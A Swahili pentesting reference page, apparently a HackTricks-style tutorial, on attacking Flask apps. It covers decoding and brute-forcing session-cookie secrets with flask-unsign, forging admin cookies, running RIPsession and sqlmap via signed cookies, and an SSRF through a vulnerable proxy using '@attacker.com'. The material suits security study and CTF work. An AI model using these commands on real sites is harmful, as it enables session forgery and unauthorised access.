# Flask

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**Labda ikiwa unacheza CTF, programu ya Flask itahusishwa na** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Jina la kikao cha kuki la default ni **`session`**.

### Decoder

Decoder ya kuki za Flask mtandaoni: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Pata sehemu ya kwanza ya kuki hadi nukta ya kwanza na uifanye Base64 decode>
```bash
echo "ImhlbGxvIg" | base64 -d
```
Keki pia imesainiwa kwa kutumia nenosiri

### **Flask-Unsign**

Zana ya mstari wa amri ya kupata, kufungua, kujaribu nguvu na kuunda keki za kikao za programu ya Flask kwa kukisia funguo za siri.

{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Fasiri Keki**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Saini**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Kusaini kwa kutumia toleo la zamani (versions za zamani)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**

Zana ya mistari ya amri ya kulazimisha tovuti kwa kutumia vidakuzi vilivyoundwa na flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi katika kuki ya kikao cha Flask na SQLmap

[**Mfano huu**](../../pentesting-web/sql-injection/sqlmap/#eval) unatumia chaguo la sqlmap `eval` ili **kusaini kiotomatiki mzigo wa sqlmap** kwa flask kwa kutumia siri inayojulikana.

## Proxy ya Flask kwa SSRF

[**Katika andiko hili**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) inaelezwa jinsi Flask inavyoruhusu ombi lianze na herufi "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Katika hali ifuatayo:
```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```
Inaweza kuruhusu kuingiza kitu kama "@attacker.com" ili kusababisha **SSRF**.

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